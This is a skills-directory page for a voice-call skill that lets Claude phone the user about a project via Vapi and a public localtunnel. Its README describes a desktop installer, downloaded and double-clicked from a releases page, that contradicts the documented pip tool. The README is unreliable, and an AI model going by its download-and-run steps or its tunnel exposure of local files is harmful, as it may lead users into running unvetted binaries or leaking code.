Refactor high-complexity React components in Dify frontend. Use when `pnpm analyze-component...
npx skills add tehrim-786/claude-code-voice-skill
Or install specific skill: npx add-skill https://github.com/tehrim-786/claude-code-voice-skill
# Description
Voice conversations with Claude about your projects. Call a phone number to brainstorm, or have Claude call you with updates.
# SKILL.md
name: call
description: Voice conversations with Claude about your projects. Call a phone number to brainstorm, or have Claude call you with updates.
allowed-tools: Bash, Read, Write, AskUserQuestion
user-invocable: true
/call
Voice conversations with Claude (Opus 4.5) about your projects.
Quick Start
# One-time setup
pip install claude-code-voice
claude-code-voice setup # Add API key, phone, name
# Register a project
cd your-project
claude-code-voice register
# Start receiving calls (does everything automatically)
claude-code-voice start
That's it! Now you can:
- Outbound: Run claude-code-voice call to have Claude call you
- Inbound: Call the Vapi number shown and Claude answers with your project loaded
Commands
| Command | Description |
|---|---|
setup |
Configure Vapi API key, your phone number, and name |
register |
Register current directory as a project |
start |
Easy mode - starts server + tunnel, configures everything |
call [topic] |
Have Claude call you about current/recent project |
status |
Check if everything is configured |
config name <name> |
Update your name for greetings |
Features
Personalized Greetings
Claude greets you by name: "Hey Sarah! I've got my-project loaded up."
Set your name during setup or update it:
claude-code-voice config name YourName
Live Project Context
During calls, Claude can:
- Read your files
- Search your code
- Check git status
- See recent changes
Auto-Sync Transcripts
Transcripts automatically save to ~/.claude/skills/call/data/transcripts/ when calls end.
How It Works
- Setup stores your Vapi API key and creates voice tools
- Register snapshots your project context (git status, recent files, etc.)
- Start runs a local server + tunnel so Vapi can reach your code
- Calls use Opus 4.5 with your project context preloaded
Requirements
- Vapi account with API key (https://dashboard.vapi.ai)
- Vapi phone number (purchase in dashboard ~$2/month)
- Node.js (for localtunnel)
Troubleshooting
Call doesn't connect
claude-code-voice status # Check configuration
Claude can't access files during call
Make sure claude-code-voice start is running in a terminal.
"I don't recognize this number"
Call from the phone number you used during setup.
Manual Setup (Advanced)
If you prefer manual control:
# Terminal 1: Start server
claude-code-voice server
# Terminal 2: Start tunnel
npx localtunnel --port 8765
# Configure the tunnel URL
claude-code-voice config server-url https://xxx.loca.lt
claude-code-voice configure-inbound
# README.md
🎤 claude-code-voice-skill - Talk to Claude About Your Projects
🚀 Getting Started
Welcome to the claude-code-voice-skill! This skill allows you to have voice conversations with Claude about your projects. Whether you need updates or support, you can just ask. Follow these steps to get started.
📥 Download & Install
To download the application, visit the link below. This page contains the latest version you can download.
Step-by-Step Installation:
-
Go to the Releases Page: Click on the link above to open the releases page.
-
Choose the Correct File: On this page, you will see a list of available releases. Look for the latest version.
-
Download the Application: Click on the filename for the latest release. This will start the download.
-
Locate the Downloaded File: After the download is complete, locate the file in your "Downloads" folder or the folder you selected for downloads.
-
Run the Application:
- On Windows: Double-click the downloaded file to start the installation.
- On Mac: Double-click the downloaded file to mount it. Then drag the application to your Applications folder.
🎙️ Using the Application
Once the application is installed, you can start using it to talk to Claude. Here’s how:
- Open the Application: Click on the application icon to launch it.
- Sign In or Create an Account: If prompted, log in to your existing account or create a new one.
- Begin Talking: You can say commands or ask about your projects directly. Just speak clearly.
🔧 System Requirements
To run the application smoothly, your device should meet these minimum requirements:
- Operating System: Windows 10 or newer, macOS 10.14 or newer.
- RAM: At least 4 GB.
- Storage: Minimum of 100 MB free space.
- Internet Connection: Required for voice communication.
💡 Features
- Voice Interaction: Speak to Claude and get real-time responses.
- Project Updates: Ask about status and developments in your projects.
- User-Friendly Interface: Designed with ease of use in mind to help you talk without tech hassles.
⚙️ Troubleshooting
If you encounter any issues:
- Ensure your microphone and speakers are working properly.
- Check your internet connection.
- Restart the application if it freezes.
For common problems, refer to the help section within the app or look for FAQs on our GitHub page.
✉️ Community Support
Feel free to reach out if you need help or have questions:
- Submit an issue on our GitHub Issues page.
- Join our community discussions for tips and support from other users.
🔗 Additional Resources
- Latest Release Page
- GitHub Issues
- User guides and FAQs.
With these steps, you are ready to use the claude-code-voice-skill and make your project discussions easier and more convenient! Enjoy talking to Claude!
# Supported AI Coding Agents
This skill is compatible with the SKILL.md standard and works with all major AI coding agents:
Learn more about the SKILL.md standard and how to use these skills with your preferred AI coding agent.